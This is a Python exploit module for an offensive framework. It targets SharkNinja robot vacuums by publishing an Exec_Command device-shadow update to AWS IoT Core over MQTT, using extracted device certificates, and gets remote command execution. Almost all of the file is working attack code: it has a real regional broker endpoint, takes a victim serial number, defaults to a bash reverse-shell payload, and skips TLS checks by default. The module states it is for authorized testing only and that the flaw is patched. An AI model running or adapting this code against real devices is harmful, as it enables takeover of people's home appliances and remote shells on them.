SharkNinja Robot Vacuum AWS IoT Exec_Command RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""SharkNinja robot vacuum AWS IoT Exec_Command RCE (lab / authorized only)."""

from kittysploit import *
from lib.protocols.mqtt.mqtt_client import Mqtt_client, MqttClientError

_DEFAULT_ENDPOINT = "a311fj9795cmaa-ats.iot.us-east-2.amazonaws.com"
_MAX_CMD = 999


class Module(Exploit, Mqtt_client):
    __info__ = {
        "name": "SharkNinja Robot Vacuum AWS IoT Exec_Command RCE",
        "description": (
            "Remote command execution on SharkNinja internet-connected robot vacuums "
            "via AWS IoT Core MQTT device shadows. A misconfigured device certificate "
            "can authenticate to the regional broker and publish desired.Exec_Command "
            "to $aws/things/<serial>/shadow/update; appd executes the string with popen. "
            "Requires extracted device cert+key (physical/UART research path). "
            "Patched by SharkNinja as of 2026-07-20. Use only on devices you own or "
            "are explicitly authorized to test."
        ),
        "author": ["tokay0", "KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.ARM64, Arch.ARM],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://tokay0.com/posts/millions-of-shark-vacuums-vulnerable-to-rce.html",
            "https://docs.aws.amazon.com/iot/latest/developerguide/device-shadow-mqtt.html",
        ],
        "dependencies": ["paho-mqtt"],
        "tags": [
            "iot",
            "mqtt",
            "aws-iot",
            "sharkninja",
            "vacuum",
            "rce",
            "mtls",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.7,
            "value": 0.8,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["mqtt", "iot"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "Exec_Command"},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    target = OptString("a311fj9795cmaa-ats.iot.us-east-2.amazonaws.com","AWS IoT Core MQTT endpoint (from device SND.conf endPoint)",required=True)
    port = OptPort(8883, "MQTTS port", required=True)
    cert_file = OptString("","Path to device client certificate PEM (device_cert_ca_*.pem)",required=True)
    key_file = OptString("","Path to device private key PEM (devicePrivateKey_*.pem)",required=True)
    ca_file = OptString("","Optional Amazon Root CA PEM (recommended for production brokers)",required=False)
    serial = OptString("","Target vacuum serial number (thing name)",required=True)
    command = OptString("","Shell command to run via Exec_Command (overrides payload when set)",required=False)
    client_id = OptString("","MQTT client ID (defaults to serial)",required=False,advanced=True)
    qos = OptInteger(1, "Publish QoS (0 or 1)", required=False, advanced=True)
    timeout = OptInteger(15, "Connect / publish wait seconds", required=False, advanced=True)
    insecure_tls = OptBool(True,"Skip broker cert verification when ca_file is empty",required=False,advanced=True)

    def _mqtt_kwargs(self) -> dict:
        serial = str(self.serial or "").strip()
        return {
            "host": str(self.target or _DEFAULT_ENDPOINT).strip(),
            "port": int(self.port or 8883),
            "cert_file": str(self.cert_file or "").strip() or None,
            "key_file": str(self.key_file or "").strip() or None,
            "ca_file": str(self.ca_file or "").strip() or None,
            "client_id": str(self.client_id or "").strip() or serial,
            "insecure": bool(self.insecure_tls),
            "timeout": float(self.timeout or 15),
        }

    def _validate(self) -> bool:
        if not str(self.serial or "").strip():
            print_error("serial is required (victim thing name)")
            return False
        try:
            client = self.open_mqtt_tls(**self._mqtt_kwargs(), connect=False)
            client.validate_certs()
        except MqttClientError as exc:
            print_error(str(exc))
            return False
        return True

    def check(self):
        if not self._validate():
            return {
                "vulnerable": False,
                "reason": "Missing serial / cert / key",
                "confidence": "low",
            }
        client = None
        try:
            print_status(f"Connecting MQTTS {self.target}:{self.port}...")
            client = self.open_mqtt_tls(**self._mqtt_kwargs())
            print_success("Authenticated to AWS IoT broker")
        except MqttClientError as exc:
            return {
                "vulnerable": False,
                "reason": f"mTLS connect failed: {exc}",
                "confidence": "medium",
            }
        finally:
            if client:
                client.disconnect()
        return {
            "vulnerable": True,
            "reason": (
                "Device certificate authenticated to AWS IoT; "
                "Exec_Command RCE possible if broker policies allow publish to target serial "
                "(vendor patched 2026-07-20)"
            ),
            "confidence": "medium",
        }

    def run(self):
        print_warning(
            "Authorized testing only — do not target devices you do not own. "
            "SharkNinja reported this patched as of 2026-07-20."
        )
        if not self._validate():
            self.not_vulnerable()
            return False

        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or a payload")
            return False
        if len(cmd) > _MAX_CMD:
            print_warning(f"Command truncated to {_MAX_CMD} bytes (appd limit)")
            cmd = cmd[:_MAX_CMD]

        serial = str(self.serial or "").strip()
        topic = self.mqtt_aws_iot_shadow_update_topic(serial)
        body = self.mqtt_aws_iot_exec_command_payload(cmd, max_len=_MAX_CMD)

        client = None
        try:
            print_status(f"Connecting MQTTS {self.target}:{self.port}...")
            client = self.open_mqtt_tls(**self._mqtt_kwargs())
            print_success("Authenticated to AWS IoT broker")
            print_status(f"Publishing Exec_Command to {topic}")
            client.publish(topic, body, qos=int(self.qos or 1))
            print_success("Shadow update published")
            print_info("Command dispatched; verify on-device (no stdout over MQTT).")
            self.vulnerable()
            return True
        except MqttClientError as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False
        finally:
            if client:
                client.disconnect()